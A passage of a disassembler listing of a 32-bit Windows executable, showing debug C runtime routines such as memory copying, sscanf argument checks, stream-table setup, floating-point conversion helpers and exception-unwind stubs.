loc_418A64:				; DATA XREF: sub_4187B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_418A6C:				; DATA XREF: sub_4187B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418A74:				; DATA XREF: sub_4187B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418A87:				; CODE XREF: sub_4187B0+1C2j
					; DATA XREF: sub_4187B0:off_418A40o
		jmp	off_418A90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_418A90	dd offset loc_418AA0	; DATA XREF: sub_4187B0+1B7r
					; sub_4187B0:loc_418994r ...
		dd offset loc_418AA8
		dd offset loc_418AB8
		dd offset loc_418ACC
; ---------------------------------------------------------------------------


loc_418AA0:				; CODE XREF: sub_4187B0+1B7j
					; sub_4187B0:loc_418994j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418AA8:				; CODE XREF: sub_4187B0+1B7j
					; sub_4187B0:loc_418994j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418AB8:				; CODE XREF: sub_4187B0+1B7j
					; sub_4187B0:loc_418994j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418ACC:				; CODE XREF: sub_4187B0+1B7j
					; sub_4187B0:loc_418994j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4187B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF0	proc near		; CODE XREF: sub_409BC6+40p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_418B05:				; CODE XREF: sub_418AF0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_418B29
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418B29
		int	3		; Trap to Debugger


loc_418B29:				; CODE XREF: sub_418AF0+19j
					; sub_418AF0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_418B05


loc_418B2F:				; CODE XREF: sub_418AF0+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_418B53
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_418B53
		int	3		; Trap to Debugger


loc_418B53:				; CODE XREF: sub_418AF0+43j
					; sub_418AF0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_418B2F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414BE0
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_420920
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_418AF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BB0	proc near		; CODE XREF: sub_40AF1B+1CCp

var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_36		= dword	ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D8h
		lea	eax, [ebp+var_24]
		push	eax
		nop
		call	near ptr 27B0186h
		lea	ecx, [ebp+var_10]
		push	ecx
		nop
		call	near ptr 2840000h
		mov	edx, [ebp+var_6]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4DB108+2
		cmp	edx, eax
		jnz	short loc_418C48
		mov	ecx, [ebp-8]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4DB108
		cmp	ecx, edx
		jnz	short loc_418C48
		mov	eax, [ebp+var_A]
		and	eax, 0FFFFh
		xor	ecx, ecx
		mov	cx, word_4DB106
		cmp	eax, ecx
		jnz	short loc_418C48
		mov	edx, [ebp+var_10+2]
		and	edx, 0FFFFh
		xor	eax, eax
		mov	ax, word ptr dword_4DB100+2
		cmp	edx, eax
		jnz	short loc_418C48
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFFFh
		xor	edx, edx
		mov	dx, word ptr dword_4DB100
		cmp	ecx, edx
		jnz	short loc_418C48
		mov	eax, dword_4DB0F8
		mov	[ebp+var_D8], eax
		jmp	loc_418CD0
; ---------------------------------------------------------------------------


loc_418C48:				; CODE XREF: sub_418BB0+30j
					; sub_418BB0+46j ...
		lea	ecx, [ebp+var_D0]
		push	ecx
		nop
		call	near ptr 283011Ch
		mov	[ebp+var_D4], eax
		cmp	[ebp+var_D4], 0FFFFFFFFh
		jz	short loc_418C98
		cmp	[ebp+var_D4], 2
		jnz	short loc_418C8C
		mov	edx, [ebp+var_36]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_418C8C
		cmp	[ebp+var_28], 0
		jz	short loc_418C8C
		mov	[ebp+var_D8], 1
		jmp	short loc_418C96
; ---------------------------------------------------------------------------


loc_418C8C:				; CODE XREF: sub_418BB0+BBj
					; sub_418BB0+C8j ...
		mov	[ebp+var_D8], 0


loc_418C96:				; CODE XREF: sub_418BB0+DAj
		jmp	short loc_418CA2
; ---------------------------------------------------------------------------


loc_418C98:				; CODE XREF: sub_418BB0+B2j
		mov	[ebp+var_D8], 0FFFFFFFFh


loc_418CA2:				; CODE XREF: sub_418BB0:loc_418C96j
		mov	eax, [ebp+var_D8]
		mov	dword_4DB0F8, eax
		mov	ecx, [ebp+var_10]
		mov	dword_4DB100, ecx
		mov	edx, [ebp-0Ch]
		mov	dword ptr byte_4DB104, edx
		mov	eax, [ebp+var_A+2]
		mov	dword_4DB108, eax
		mov	ecx, [ebp+var_6+2]
		mov	dword_4DB10C, ecx


loc_418CD0:				; CODE XREF: sub_418BB0+93j
		mov	edx, [ebp+var_D8]
		push	edx
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp-1Ah]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_1C]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp-1Eh]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_24+2]
		and	ecx, 0FFFFh
		push	ecx
		mov	edx, [ebp+var_24]
		and	edx, 0FFFFh
		push	edx
		call	sub_421E20
		add	esp, 1Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_0], 0
		jz	short loc_418D2A
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418D2A:				; CODE XREF: sub_418BB0+170j
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_418BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D40	proc near		; DATA XREF: ___:00436018o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DC7C0, 0
		jnz	short loc_418D59
		mov	dword_4DC7C0, 200h
		jmp	short loc_418D6C
; ---------------------------------------------------------------------------


loc_418D59:				; CODE XREF: sub_418D40+Bj
		cmp	dword_4DC7C0, 14h
		jge	short loc_418D6C
		mov	dword_4DC7C0, 14h


loc_418D6C:				; CODE XREF: sub_418D40+17j
					; sub_418D40+20j
		push	83h
		push	offset a_file_c	; "_file.c"
		push	2
		push	4
		mov	eax, dword_4DC7C0
		push	eax
		call	sub_4151E0
		add	esp, 14h
		mov	dword_4DB7AC, eax
		cmp	dword_4DB7AC, 0
		jnz	short loc_418DD5
		mov	dword_4DC7C0, 14h
		push	86h
		push	offset a_file_c	; "_file.c"
		push	2
		push	4
		mov	ecx, dword_4DC7C0
		push	ecx
		call	sub_4151E0
		add	esp, 14h
		mov	dword_4DB7AC, eax
		cmp	dword_4DB7AC, 0
		jnz	short loc_418DD5
		push	1Ah
		call	sub_41A9A0
		add	esp, 4


loc_418DD5:				; CODE XREF: sub_418D40+54j
					; sub_418D40+89j
		mov	[ebp+var_4], 0
		jmp	short loc_418DE7
; ---------------------------------------------------------------------------


loc_418DDE:				; CODE XREF: sub_418D40+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_418DE7:				; CODE XREF: sub_418D40+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_418E06
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_4438C0
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4DB7AC
		mov	[edx+ecx*4], eax
		jmp	short loc_418DDE
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418D40+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_418E18
; ---------------------------------------------------------------------------


loc_418E0F:				; CODE XREF: sub_418D40:loc_418E66j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_418E18:				; CODE XREF: sub_418D40+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_418E68
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_418E56
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DB460[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_418E66


loc_418E56:				; CODE XREF: sub_418D40+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	dword_4438D0[ecx], 0FFFFFFFFh


loc_418E66:				; CODE XREF: sub_418D40+114j
		jmp	short loc_418E0F
; ---------------------------------------------------------------------------


loc_418E68:				; CODE XREF: sub_418D40+DCj
		mov	esp, ebp
		pop	ebp
		retn
sub_418D40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E70	proc near		; DATA XREF: ___:00436030o
		push	ebp
		mov	ebp, esp
		call	sub_41B4E0
		movsx	eax, byte_4DB0E4
		test	eax, eax
		jz	short loc_418E88
		call	sub_4222E0


loc_418E88:				; CODE XREF: sub_418E70+11j
		pop	ebp
		retn
sub_418E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E90	proc near		; CODE XREF: sub_414C60+55p
					; sub_416D40+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_4438C0
		jb	short loc_418EBE
		cmp	[ebp+arg_0], offset dword_443B20
		ja	short loc_418EBE
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_4438C0
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41B780
		add	esp, 4
		jmp	short loc_418ECB
; ---------------------------------------------------------------------------


loc_418EBE:				; CODE XREF: sub_418E90+Aj
					; sub_418E90+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		nop
		call	near ptr 77F7E21Fh


loc_418ECB:				; CODE XREF: sub_418E90+2Cj
		pop	ebp
		retn
sub_418E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ED0	proc near		; CODE XREF: sub_41B4F0+7Ep
					; sub_41E5B0+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_418EEA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41B780
		add	esp, 4
		jmp	short loc_418EF7
; ---------------------------------------------------------------------------


loc_418EEA:				; CODE XREF: sub_418ED0+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	near ptr 77F7E21Fh
		nop


loc_418EF7:				; CODE XREF: sub_418ED0+18j
		pop	ebp
		retn
sub_418ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F00	proc near		; CODE XREF: sub_414C60+70p
					; sub_416D40+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_4438C0
		jb	short loc_418F2E
		cmp	[ebp+arg_0], offset dword_443B20
		ja	short loc_418F2E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_4438C0
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_41B820
		add	esp, 4
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F2E:				; CODE XREF: sub_418F00+Aj
					; sub_418F00+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		nop
		call	near ptr 77F7E300h


loc_418F3B:				; CODE XREF: sub_418F00+2Cj
		pop	ebp
		retn
sub_418F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F40	proc near		; CODE XREF: sub_41B4F0+116p
					; sub_41E5B0+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_418F5A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_41B820
		add	esp, 4
		jmp	short loc_418F67
; ---------------------------------------------------------------------------


loc_418F5A:				; CODE XREF: sub_418F40+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	near ptr 77F7E300h
		nop


loc_418F67:				; CODE XREF: sub_418F40+18j
		pop	ebp
		retn
sub_418F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418F70(double)

sub_418F70	proc near		; CODE XREF: sub_40B8F7+38p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_443B40
		push	eax
		call	sub_423320
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41902B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_423120
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_419002
		cmp	[ebp+var_10], 2
		jle	short loc_418FCE
		cmp	[ebp+var_10], 3
		jz	short loc_418FE7
		jmp	short loc_419002
; ---------------------------------------------------------------------------


loc_418FCE:				; CODE XREF: sub_418F70+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_423320
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_4190A1
; ---------------------------------------------------------------------------


loc_418FE7:				; CODE XREF: sub_418F70+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_4223E0
		add	esp, 10h
		jmp	loc_4190A1
; ---------------------------------------------------------------------------


loc_419002:				; CODE XREF: sub_418F70+4Ej
					; sub_418F70+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_433CA0
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_4224B0
		add	esp, 1Ch
		jmp	short loc_4190A1
; ---------------------------------------------------------------------------


loc_41902B:				; CODE XREF: sub_418F70+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_4223C0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_419061
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_423320
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4190A1
; ---------------------------------------------------------------------------


loc_419061:				; CODE XREF: sub_418F70+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_419081
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_423320
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4190A1
; ---------------------------------------------------------------------------


loc_419081:				; CODE XREF: sub_418F70+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_4224B0
		add	esp, 1Ch


loc_4190A1:				; CODE XREF: sub_418F70+72j
					; sub_418F70+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_418F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190B0	proc near		; CODE XREF: ___:0041790Cp
					; DATA XREF: ___:off_443B4Co
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_4190F0
		call	sub_423460
		mov	dword_4DB118, eax
		call	sub_4233E0
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4190B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190E0	proc near		; DATA XREF: ___:00443B50o
					; ___:00443B54o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_4190E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190F0	proc near		; CODE XREF: sub_4190B0+6p
		push	ebp
		mov	ebp, esp
		mov	off_444248, offset sub_423B50
		mov	off_44424C, offset sub_423560
		mov	off_444250, offset sub_423670
		mov	off_444254, offset sub_4234B0
		mov	off_444258, offset sub_423640
		mov	off_44425C, offset sub_423B50
		pop	ebp
		retn
sub_4190F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB114
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DB114, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41915C	proc near		; CODE XREF: sub_40B8F7+1Bp
					; sub_40B8F7+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41915C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419190(double)

sub_419190	proc near		; CODE XREF: sub_40B943+79p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_443B58
		push	eax
		call	sub_423320
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_41924B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_423120
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_419222
		cmp	[ebp+var_10], 2
		jle	short loc_4191EE
		cmp	[ebp+var_10], 3
		jz	short loc_419207
		jmp	short loc_419222
; ---------------------------------------------------------------------------


loc_4191EE:				; CODE XREF: sub_419190+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_423320
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_4192C1
; ---------------------------------------------------------------------------


loc_419207:				; CODE XREF: sub_419190+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_4223E0
		add	esp, 10h
		jmp	loc_4192C1
; ---------------------------------------------------------------------------


loc_419222:				; CODE XREF: sub_419190+4Ej
					; sub_419190+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_433CA0
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_4224B0
		add	esp, 1Ch
		jmp	short loc_4192C1
; ---------------------------------------------------------------------------


loc_41924B:				; CODE XREF: sub_419190+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_4223C0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_419281
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_423320
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4192C1
; ---------------------------------------------------------------------------


loc_419281:				; CODE XREF: sub_419190+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_4192A1
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_423320
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4192C1
; ---------------------------------------------------------------------------


loc_4192A1:				; CODE XREF: sub_419190+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_4224B0
		add	esp, 1Ch


loc_4192C1:				; CODE XREF: sub_419190+72j
					; sub_419190+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_419190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192D0	proc near		; CODE XREF: sub_424280+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_4192D0	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419310	proc near		; CODE XREF: sub_424760+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_419310	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419320	proc near		; CODE XREF: sub_4244E0+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_419320	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419330	proc near		; CODE XREF: sub_4244E0+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_419330	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_419340	proc near		; CODE XREF: sub_419590+66p
					; sub_424280+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41936C
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431B70
sub_419340	endp

; ---------------------------------------------------------------------------


loc_41936C:				; DATA XREF: sub_419340+12o
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+0Ch]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193A0	proc near		; CODE XREF: ___:004320C4j
					; ___:004320DEj ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423BE0
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4193A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_424150
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419410	proc near		; CODE XREF: sub_424340+8Ap

